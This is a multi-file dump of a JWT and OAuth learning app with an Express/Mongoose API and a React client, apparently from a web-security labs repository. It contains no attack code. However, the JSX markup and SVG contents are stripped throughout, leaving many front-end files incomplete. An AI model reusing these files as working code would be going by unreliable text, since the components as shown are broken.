42 | name: `${me.data.first_name} ${me.data.last_name}`,
43 | }
44 | }
45 | }
46 |
47 | return userProvider
48 | }
49 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/mutation/index.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import userAuthorize from './authorize'
3 |
4 | // Mutations
5 | export default {
6 | userAuthorize,
7 | }
8 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/query/authResponse.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import jwt from 'jsonwebtoken'
3 |
4 | // App Imports
5 | import { SECURITY_SECRET } from 'setup/config/env'
6 |
7 | // Auth Response (token and user info)
8 | export default function userAuthResponse(user) {
9 | user = user.toJSON()
10 |
11 | delete user.password
12 |
13 | return {
14 | token: jwt.sign({ id: user._id }, SECURITY_SECRET),
15 | user,
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/query/index.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import userProfile from './profile'
3 |
4 | // Queries
5 | export default {
6 | userProfile,
7 | }
8 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/modules/user/query/profile.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import { authCheck } from 'setup/helpers/utils'
3 | import { AuthError } from 'modules/common/errors'
4 | import User from 'modules/user/model'
5 |
6 | // Profile
7 | export default async function profile({ auth }) {
8 | console.log('auth', auth)
9 | if (authCheck(auth)) {
10 | try {
11 | // User
12 | const data = await User.findOne({ _id: auth.user._id })
13 |
14 | return {
15 | data,
16 | }
17 | } catch (error) {
18 | throw new Error(`An error occurred. ${error.message}`)
19 | }
20 | }
21 |
22 | throw new AuthError('You are not authorized to perform this action.')
23 | }
24 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/config/params.js:
--------------------------------------------------------------------------------
1 | // Params
2 | export default {
3 | site: {
4 | name: 'OAuth',
5 | description: 'OAuth 2.0 examples for various providers in one place',
6 | author: 'Atul Yadav',
7 | url: 'https://github.com/atulmy/oauth',
8 | copyright: '© 2020',
9 | },
10 |
11 | // common
12 | common: {
13 | endpoint: {
14 | url: '/:operation?',
15 | upload: '/upload',
16 | },
17 |
18 | errors: {
19 | auth: 'error_auth',
20 | validation: 'error_validation',
21 | },
22 | },
23 |
24 | // user
25 | user: {
26 | oauth: {
27 | providers: {
28 | facebook: {
29 | key: 'facebook',
30 | title: 'Facebook',
31 | },
32 |
33 | google: {
34 | key: 'google',
35 | title: 'Google',
36 | },
37 |
38 | instagram: {
39 | key: 'instagram',
40 | title: 'Instagram',
41 | },
42 |
43 | linkedin: {
44 | key: 'linkedin',
45 | title: 'LinkedIn',
46 | },
47 |
48 | twitter: {
49 | key: 'twitter',
50 | title: 'Twitter',
51 | },
52 |
53 | reddit: {
54 | key: 'reddit',
55 | title: 'Reddit',
56 | },
57 |
58 | discord: {
59 | key: 'discord',
60 | title: 'Discord',
61 | },
62 |
63 | zoom: {
64 | key: 'zoom',
65 | title: 'Zoom',
66 | },
67 |
68 | github: {
69 | key: 'github',
70 | title: 'Github',
71 | },
72 |
73 | gitlab: {
74 | key: 'gitlab',
75 | title: 'Gitlab',
76 | },
77 |
78 | digitalocean: {
79 | key: 'digitalocean',
80 | title: 'DigitalOcean',
81 | },
82 |
83 | bitbucket: {
84 | key: 'bitbucket',
85 | title: 'Bitbucket',
86 | },
87 |
88 | azure: {
89 | key: 'azure',
90 | title: 'Azure',
91 | },
92 |
93 | spotify: {
94 | key: 'spotify',
95 | title: 'Spotify',
96 | },
97 |
98 | shopify: {
99 | key: 'shopify',
100 | title: 'Shopify',
101 | },
102 | },
103 |
104 | redirectUri: 'authorize/',
105 | },
106 | },
107 | }
108 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/helpers/utils.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import { ENV } from 'setup/config/env'
3 |
4 | // Utility functions
5 |
6 | // Check development env
7 | export function isDevelopment() {
8 | return ENV === 'development'
9 | }
10 |
11 | // Generate random number
12 | export function randomNumber(low, high) {
13 | return Math.floor(Math.random() * (high - low) + low)
14 | }
15 |
16 | // Auth check user
17 | export function authCheck(auth) {
18 | return auth && auth.user && auth.user._id
19 | }
20 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/helpers/validation.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import Validator from 'fullstack-validator'
3 |
4 | const v = new Validator(/* custom rules */)
5 |
6 | export default v
7 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/server/authentication.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import jwt from 'jsonwebtoken'
3 |
4 | // App Imports
5 | import { SECURITY_SECRET } from 'setup/config/env'
6 | import User from 'modules/user/model'
7 |
8 | // Authentication middleware
9 | export default async function (request, response, next) {
10 | let header = request.headers.authentication
11 |
12 | if (header) {
13 | try {
14 | const token = header.split(' ')
15 | const userToken = jwt.verify(token[1], SECURITY_SECRET)
16 | let user = await User.findOne({ _id: userToken.id })
17 |
18 | if (user) {
19 | request.auth = {
20 | isAuthenticated: true,
21 | user,
22 | }
23 | }
24 | } catch (e) {
25 | console.warn('Invalid token detected.')
26 | }
27 | } else {
28 | request.auth = {
29 | isAuthenticated: false,
30 | user: null,
31 | }
32 | }
33 |
34 | next()
35 | }
36 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/server/database.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import mongoose from 'mongoose'
3 |
4 | // App Imports
5 | import { ENV, DATABASE_URL } from 'setup/config/env'
6 |
7 | // Connect database
8 | export async function connect() {
9 | console.info('SETUP - Connecting database..')
10 |
11 | await connectWithRetry()
12 | }
13 |
14 | // Disconnect database
15 | export async function close() {
16 | console.info('INFO - Disconnecting database..')
17 |
18 | return await mongoose.connection.close()
19 | }
20 |
21 | // Drop database
22 | export async function drop() {
23 | if (ENV === 'development') {
24 | console.info('INFO - Dropping database..')
25 |
26 | return await mongoose.connection.dropDatabase()
27 | }
28 | }
29 |
30 | // Handle connection error
31 | mongoose.connection.on('error', (error) => {
32 | console.log(`ERROR - Connection failed: ${error.message}`)
33 |
34 | setTimeout(async () => {
35 | console.log('SETUP - Connecting database.. retrying..')
36 |
37 | await connectWithRetry()
38 | }, 5000)
39 | })
40 |
41 | // Retry connection
42 | const connectWithRetry = async () => {
43 | return await mongoose.connect(DATABASE_URL)
44 | }
45 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/server/endpoint.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import { ENV } from 'setup/config/env'
3 | import params from 'setup/config/params'
4 | import authentication from 'setup/server/authentication'
5 | import modules from './modules'
6 |
7 | // Setup endpoint
8 | export default function (server) {
9 | console.info('SETUP - Endpoint..')
10 |
11 | // API endpoint
12 | server.all(
13 | params.common.endpoint.url,
14 | [authentication],
15 | async (request, response) => {
16 | let result = {
17 | success: false,
18 | message: 'Please try again.',
19 | code: 'default',
20 | data: null,
21 | }
22 |
23 | // Check if operation to be called is set
24 | let operation =
25 | modules[request.body.operation] || modules[request.params.operation]
26 |
27 | if (operation) {
28 | try {
29 | // Execute operation
30 | // operationName({ params, fields, auth })
31 | const {
32 | data,
33 | message = 'Success.',
34 | success = true,
35 | } = await operation({
36 | params: request.body.params || request.query || {},
37 | fields: request.body.fields || {},
38 | auth: request.auth,
39 | })
40 |
41 | // Operation executed successfully
42 | result.success = success
43 | result.data = data
44 | result.message = message
45 | } catch (error) {
46 | result.message = error.message
47 | result.code = error.code || 'default'
48 | }
49 | } else {
50 | result.message = `${request.body.operation} operation is not available.`
51 | }
52 |
53 | // Log info in development mode
54 | if (ENV === 'development') {
55 | console.log(request.body)
56 | console.log(result.success, result.message)
57 | }
58 |
59 | // Send response
60 | response.send(result)
61 | },
62 | )
63 | }
64 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/server/middlewares.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import path from 'path'
3 | import express from 'express'
4 | import cors from 'cors'
5 | import bodyParser from 'body-parser'
6 | import morgan from 'morgan'
7 |
8 | // App Imports
9 | import { ENV, URL_WEB } from 'setup/config/env'
10 |
11 | // Setup middlewares
12 | export default function (server) {
13 | console.info('SETUP - Middlewares..')
14 |
15 | // Enable CORS
16 | server.use(
17 | cors({
18 | origin: [URL_WEB],
19 | }),
20 | )
21 |
22 | // Request body parser
23 | server.use(bodyParser.json())
24 | server.use(bodyParser.urlencoded({ extended: false }))
25 |
26 | // Static files folder
27 | server.use(express.static(path.join(__dirname, '..', '..', '..', 'public')))
28 |
29 | // HTTP logger
30 | if (ENV === 'development') {
31 | server.use(morgan('tiny'))
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/server/modules.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import user from 'modules/user'
3 | import note from 'modules/note'
4 |
5 | // Modules
6 | export default {
7 | ...user,
8 | ...note,
9 | }
10 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/api/src/setup/server/start.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import ip from 'ip'
3 | import mongoose from 'mongoose'
4 |
5 | // App imports
6 | import { PORT, ENV } from 'setup/config/env'
7 |
8 | // Start server
9 | export default async function (server) {
10 | console.info('SETUP - Starting server..')
11 |
12 | server.set('trust proxy', true)
13 |
14 | const serverProcess = server.listen(PORT, async (error) => {
15 | if (error) {
16 | console.error('ERROR - Unable to start server.')
17 | } else {
18 | console.info(`INFO - Server started on`)
19 | console.info(` Local http://localhost:${PORT} [${ENV}]`)
20 | console.info(` Network http://${ip.address()}:${PORT} [${ENV}]`)
21 | console.info(` Datetime ${new Date()}\n`)
22 | }
23 | })
24 |
25 | serverProcess.setTimeout(500000)
26 |
27 | // Stop Server
28 | for (let signal of ['SIGINT', 'SIGTERM']) {
29 | process.on(signal, async () => {
30 | console.info('INFO - Shutting down server..')
31 |
32 | serverProcess.close(async () => {
33 | console.info('INFO - Server has been shut down.')
34 |
35 | mongoose.connection.close(false, async () => {
36 | console.info('INFO - Database disconnected.')
37 | process.exit(0)
38 | })
39 | })
40 | })
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/jsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "baseUrl": "src"
4 | },
5 | "include": ["src"]
6 | }
7 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "web",
3 | "version": "0.1.0",
4 | "private": true,
5 | "dependencies": {
6 | "@testing-library/jest-dom": "^5.16.4",
7 | "@testing-library/react": "^12.1.3",
8 | "@testing-library/user-event": "^13.5.0",
9 | "axios": "^0.27.2",
10 | "lodash": "^4.17.21",
11 | "moment": "^2.29.3",
12 | "query-string": "^7.1.1",
13 | "react": "^17.0.2",
14 | "react-dom": "^17.0.2",
15 | "react-helmet": "^6.1.0",
16 | "react-redux": "^7.2.6",
17 | "react-router-dom": "^5.2.0",
18 | "react-scripts": "5.0.1",
19 | "redux": "^4.2.0",
20 | "redux-thunk": "^2.4.1"
21 | },
22 | "devDependencies": {
23 | "husky": "^4.3.6",
24 | "prettier": "2.6.2",
25 | "pretty-quick": "^3.1.3"
26 | },
27 | "scripts": {
28 | "start": "react-scripts start",
29 | "build": "react-scripts build",
30 | "test": "react-scripts test",
31 | "eject": "react-scripts eject"
32 | },
33 | "husky": {
34 | "hooks": {
35 | "pre-commit": "pretty-quick --staged"
36 | }
37 | },
38 | "eslintConfig": {
39 | "extends": "react-app"
40 | },
41 | "browserslist": {
42 | "production": [
43 | ">0.2%",
44 | "not dead",
45 | "not op_mini all"
46 | ],
47 | "development": [
48 | "last 1 chrome version",
49 | "last 1 firefox version",
50 | "last 1 safari version"
51 | ]
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/oauth-authentication/learn-json-web-tokens-master/web/public/favicon.ico
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/loader.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/oauth-authentication/learn-json-web-tokens-master/web/public/images/loader.gif
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/other/shopify.svg:
--------------------------------------------------------------------------------
1 |
2 |
6 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/other/spotify.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/preview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/oauth-authentication/learn-json-web-tokens-master/web/public/images/preview.png
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/social/discord.svg:
--------------------------------------------------------------------------------
1 |
2 |
5 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/social/facebook.svg:
--------------------------------------------------------------------------------
1 |
2 |
5 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/social/google.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
8 |
9 |
10 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/social/linkedin.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/social/reddit.svg:
--------------------------------------------------------------------------------
1 |
2 |
5 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/social/twitter.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
6 |
7 |
9 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/tech/azure.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/tech/bitbucket.svg:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/tech/digitalocean.svg:
--------------------------------------------------------------------------------
1 |
2 |
5 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/tech/github.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/images/tech/gitlab.svg:
--------------------------------------------------------------------------------
1 |
2 |
10 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | OAuth
28 |
29 |
30 | You need to enable JavaScript to run this app.
31 |
32 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/logo192.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/oauth-authentication/learn-json-web-tokens-master/web/public/logo192.png
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/logo512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/oauth-authentication/learn-json-web-tokens-master/web/public/logo512.png
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "short_name": "React App",
3 | "name": "Create React App Sample",
4 | "icons": [
5 | {
6 | "src": "favicon.ico",
7 | "sizes": "64x64 32x32 24x24 16x16",
8 | "type": "image/x-icon"
9 | },
10 | {
11 | "src": "logo192.png",
12 | "type": "image/png",
13 | "sizes": "192x192"
14 | },
15 | {
16 | "src": "logo512.png",
17 | "type": "image/png",
18 | "sizes": "512x512"
19 | }
20 | ],
21 | "start_url": ".",
22 | "display": "standalone",
23 | "theme_color": "#000000",
24 | "background_color": "#ffffff"
25 | }
26 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/public/robots.txt:
--------------------------------------------------------------------------------
1 | # https://www.robotstxt.org/robotstxt.html
2 | User-agent: *
3 | Disallow:
4 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React from 'react'
3 | import ReactDOM from 'react-dom'
4 | import { Provider as StateProvider } from 'react-redux'
5 | import { BrowserRouter as Router, Route, Switch } from 'react-router-dom'
6 |
7 | // UI imports
8 | import 'ui/common/colors.css'
9 | import 'ui/common/reset.css'
10 |
11 | // App imports
12 | import { store } from 'setup/store'
13 | import routes from 'setup/routes'
14 | import Layout from 'modules/common/Layout'
15 | import RoutePrivate from 'modules/common/RoutePrivate'
16 | import {
17 | loginSetUserLocalStorage,
18 | loginSetUser,
19 | } from 'modules/user/api/actions/query'
20 | import * as serviceWorker from './serviceWorker'
21 |
22 | // User Authentication
23 | const token = window.localStorage.getItem('token')
24 | if (token && token !== 'undefined' && token !== '') {
25 | const user = JSON.parse(window.localStorage.getItem('user'))
26 | if (user) {
27 | loginSetUserLocalStorage(token, user)
28 | store.dispatch(loginSetUser(token, user))
29 | }
30 | }
31 |
32 | ReactDOM.render(
33 |
34 |
35 |
36 |
37 | {Object.values(routes).map((route, index) =>
38 | route.auth ? (
39 |
45 |
46 |
47 | ,
48 | document.getElementById('root'),
49 | )
50 |
51 | serviceWorker.unregister()
52 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/common/AuthCheck/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React from 'react'
3 | import { Redirect } from 'react-router-dom'
4 | import { useSelector } from 'react-redux'
5 |
6 | // App Imports
7 | import routes from 'setup/routes'
8 |
9 | // Component
10 | const AuthCheck = () => {
11 | const { isAuthenticated } = useSelector((state) => state.auth)
12 |
13 | return isAuthenticated ?
15 | {params.site.copyright} {params.site.name} ·{' '}
16 |
17 | GitHub
18 |
19 |
20 | )
21 | }
22 |
23 | export default Footer
24 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/common/Footer/style.css:
--------------------------------------------------------------------------------
1 | .common-footer {
2 | display: flex;
3 | flex-direction: row;
4 | border-top: 1px solid #cccccc;
5 | padding: 1.5rem 2rem;
6 | }
7 | .common-footer > a {
8 | margin-left: 0.5rem;
9 | }
10 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/common/Header/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React from 'react'
3 | import { Link, NavLink } from 'react-router-dom'
4 | import { useSelector } from 'react-redux'
5 |
6 | // UI imports
7 | import './style.css'
8 |
9 | // App imports
10 | import params from 'setup/config/params'
11 | import routes from 'setup/routes'
12 |
13 | // Component
14 | const Header = () => {
15 | // state
16 | const { user } = useSelector((state) => state.auth)
17 |
18 | // render
19 | return (
20 |
21 |
22 |
23 |
25 | {params.site.description}
26 |
27 |
28 |
29 |
33 | Home
34 |
35 |
36 | {user && (
37 | <>
38 | Notes
39 | Profile
40 |
41 | )}
42 |
43 |
44 | )
45 | }
46 |
47 | export default Header
48 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/common/Header/style.css:
--------------------------------------------------------------------------------
1 | .common-header {
2 | display: flex;
3 | flex-direction: column;
4 | }
5 | .common-header > .brand {
6 | display: flex;
7 | flex-direction: column;
8 | border-bottom: 1px solid #cccccc;
9 | padding: 1.5rem 2rem;
10 | }
11 |
12 | .common-header > .brand > h5 {
13 | margin-top: 0.5rem;
14 | color: #666666;
15 | }
16 |
17 | .common-header > .menu {
18 | display: flex;
19 | flex-direction: row;
20 | border-bottom: 1px solid #cccccc;
21 | padding: 0 1rem;
22 | }
23 |
24 | .common-header > .menu > a {
25 | text-transform: uppercase;
26 | font-weight: bold;
27 | padding: 0.5rem 1rem;
28 | }
29 | .common-header > .menu > a.active {
30 | color: var(--primary);
31 | }
32 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/common/Layout/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React from 'react'
3 |
4 | // UI imports
5 | import './style.css'
6 |
7 | // App imports
8 | import Header from 'modules/common/Header'
9 | import Footer from 'modules/common/Footer'
10 |
11 | // Component
12 | const Layout = ({ children }) => {
13 | // render
14 | return (
15 |
16 | {/* header */}
17 |
18 |
19 | {/* content */}
20 | {children}
21 |
22 | {/* footer */}
23 |
24 |
25 | )
26 | }
27 |
28 | export default Layout
29 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/common/Layout/style.css:
--------------------------------------------------------------------------------
1 | .common-layout {
2 | display: flex;
3 | flex-direction: column;
4 | flex: 1;
5 | }
6 |
7 | .common-layout > main {
8 | display: flex;
9 | flex-direction: column;
10 | flex: 1;
11 | padding: 1.5rem 2rem;
12 | }
13 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/common/RoutePrivate/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React from 'react'
3 | import { Route, Redirect } from 'react-router-dom'
4 | import { useSelector } from 'react-redux'
5 |
6 | // App imports
7 | import routes from 'setup/routes'
8 |
9 | // Component
10 | const RoutePrivate = ({ role, component, ...props }) => {
11 | const { isAuthenticated } = useSelector((state) => state.auth)
12 |
13 | return isAuthenticated ? (
14 |
65 | {`Authorizing... · ${params.site.name}`}
66 |
67 |
68 | {/* content */}
69 |
70 |
71 |
74 |
75 |
76 | )
77 | }
78 |
79 | export default Authorize
80 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/pages/Authorize/style.css:
--------------------------------------------------------------------------------
1 | .pages-authorize {
2 | display: flex;
3 | flex-direction: row;
4 | }
5 |
6 | .pages-authorize > p {
7 | display: flex;
8 | justify-content: center;
9 | align-items: center;
10 | color: var(--grey-dark);
11 | }
12 | .pages-authorize > p > img {
13 | margin-right: 0.5rem;
14 | }
15 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/pages/Home/style.css:
--------------------------------------------------------------------------------
1 | .pages-home {
2 | display: flex;
3 | flex-direction: column;
4 | flex: 1;
5 | }
6 |
7 | .pages-home > .group {
8 | display: flex;
9 | flex-direction: row;
10 | margin-top: 1rem;
11 | }
12 | .pages-home > .group > section {
13 | display: flex;
14 | flex-direction: column;
15 | margin-right: 1rem;
16 | width: 12rem;
17 | }
18 |
19 | .pages-home > .group > section > h4 {
20 | margin-bottom: 1rem;
21 | }
22 | .pages-home > .group > section > a {
23 | display: block;
24 | margin-bottom: 1rem;
25 | }
26 | .pages-home > .group > section > a > button {
27 | width: 100%;
28 | }
29 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/Dashboard/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React from 'react'
3 | import { Helmet } from 'react-helmet'
4 | import { useSelector } from 'react-redux'
5 |
6 | // UI imports
7 | import './style.css'
8 |
9 | // App imports
10 | import params from 'setup/config/params'
11 |
12 | // Component
13 | const Dashboard = () => {
14 | // state
15 | const { user } = useSelector((state) => state.auth)
16 |
17 | // render
18 | return (
19 | <>
20 | {/* meta */}
21 |
22 | {`User Dashboard · ${params.site.name}`}
23 |
24 |
25 | {/* content */}
26 |
27 | Welcome, {user && user.name}!
28 |
29 |
30 | )
31 | }
32 |
33 | export default Dashboard
34 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/Dashboard/style.css:
--------------------------------------------------------------------------------
1 | .user-dashboard {
2 | display: flex;
3 | flex-direction: column;
4 | flex: 1;
5 | }
6 |
7 | .user-dashboard > aside {
8 | margin-top: 1rem;
9 | }
10 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/Profile/index.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import React, { useState, useEffect } from 'react'
3 | import { Helmet } from 'react-helmet'
4 | import { useDispatch } from 'react-redux'
5 | import moment from 'moment'
6 |
7 | // UI imports
8 | import Button from 'ui/Button'
9 | import './style.css'
10 |
11 | // App imports
12 | import params from 'setup/config/params'
13 | import { logout, profile } from 'modules/user/api/actions/query'
14 |
15 | // Component
16 | const Dashboard = () => {
17 | // state
18 | const [isLoading, isLoadingToggle] = useState(false)
19 | const [user, setUser] = useState(null)
20 | const dispatch = useDispatch()
21 |
22 | // on load
23 | useEffect(() => {
24 | refresh()
25 | }, [])
26 |
27 | // refresh
28 | const refresh = async () => {
29 | isLoadingToggle(true)
30 |
31 | try {
32 | const { data } = await profile()
33 |
34 | if (data.success && data.data) {
35 | setUser(data.data)
36 | }
37 | } catch (error) {
38 | console.log(error)
39 | } finally {
40 | isLoadingToggle(false)
41 | }
42 | }
43 |
44 | // on logout
45 | const onLogout = () => {
46 | let check = window.confirm('Are you sure you want to logout?')
47 |
48 | if (check) {
49 | dispatch(logout())
50 | }
51 | }
52 |
53 | // render
54 | return (
55 | <>
56 | {/* meta */}
57 |
58 | {`User Dashboard · ${params.site.name}`}
59 |
60 |
61 | {/* content */}
62 |
63 | {isLoading ? (
64 | Loading profile...
65 | ) : (
66 | user && (
67 | <>
68 |
69 | Name: {user.name}
70 |
71 |
72 | Email: {user.email}
73 |
74 |
75 | Registered: {' '}
76 | {moment(user.createdAt).format(params.common.date)}
77 |
78 |
79 | )
80 | )}
81 |
82 |
85 |
86 |
87 | )
88 | }
89 |
90 | export default Dashboard
91 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/Profile/style.css:
--------------------------------------------------------------------------------
1 | .user-dashboard {
2 | display: flex;
3 | flex-direction: column;
4 | flex: 1;
5 | }
6 |
7 | .user-dashboard > p {
8 | margin-bottom: 0.5rem;
9 | }
10 |
11 | .user-dashboard > aside {
12 | margin-top: 1rem;
13 | }
14 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/mutation/authorize.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App imports
5 | import { URL_API } from 'setup/config/env'
6 |
7 | // Authorize
8 | export default function authorize(query) {
9 | return axios.post(URL_API, {
10 | operation: 'userAuthorize',
11 | params: query,
12 | })
13 | }
14 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/mutation/index.js:
--------------------------------------------------------------------------------
1 | // App imports
2 | import authorize from './authorize'
3 |
4 | // Queries
5 | export { authorize }
6 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/query/index.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import loginSetUser from './loginSetUser'
3 | import loginSetUserLocalStorage from './loginSetUserLocalStorage'
4 | import logout from './logout'
5 | import logoutUnsetUserLocalStorage from './logoutUnsetUserLocalStorage'
6 | import profile from './profile'
7 |
8 | // Queries
9 | export {
10 | loginSetUser,
11 | loginSetUserLocalStorage,
12 | logout,
13 | logoutUnsetUserLocalStorage,
14 | profile,
15 | }
16 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/query/loginSetUser.js:
--------------------------------------------------------------------------------
1 | // App Imports
2 | import { SET_USER } from 'modules/user/api/actions/types'
3 |
4 | // Emit set user event
5 | export default function loginSetUser(token, user) {
6 | return { type: SET_USER, user }
7 | }
8 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/query/loginSetUserLocalStorage.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // Set user token and info in localStorage and axios auth headers
5 | export default function loginSetUserLocalStorage(token, user) {
6 | if (token) {
7 | axios.defaults.headers.common['Authentication'] = `Bearer ${token}`
8 | } else {
9 | delete axios.defaults.headers.common['Authentication']
10 | }
11 |
12 | // Update token
13 | window.localStorage.setItem('token', token)
14 | window.localStorage.setItem('user', JSON.stringify(user))
15 | }
16 |
--------------------------------------------------------------------------------
/oauth-authentication/learn-json-web-tokens-master/web/src/modules/user/api/actions/query/logout.js:
--------------------------------------------------------------------------------
1 | // Imports
2 | import axios from 'axios'
3 |
4 | // App Imports
5 | import { LOGOUT } from 'modules/user/api/actions/types'
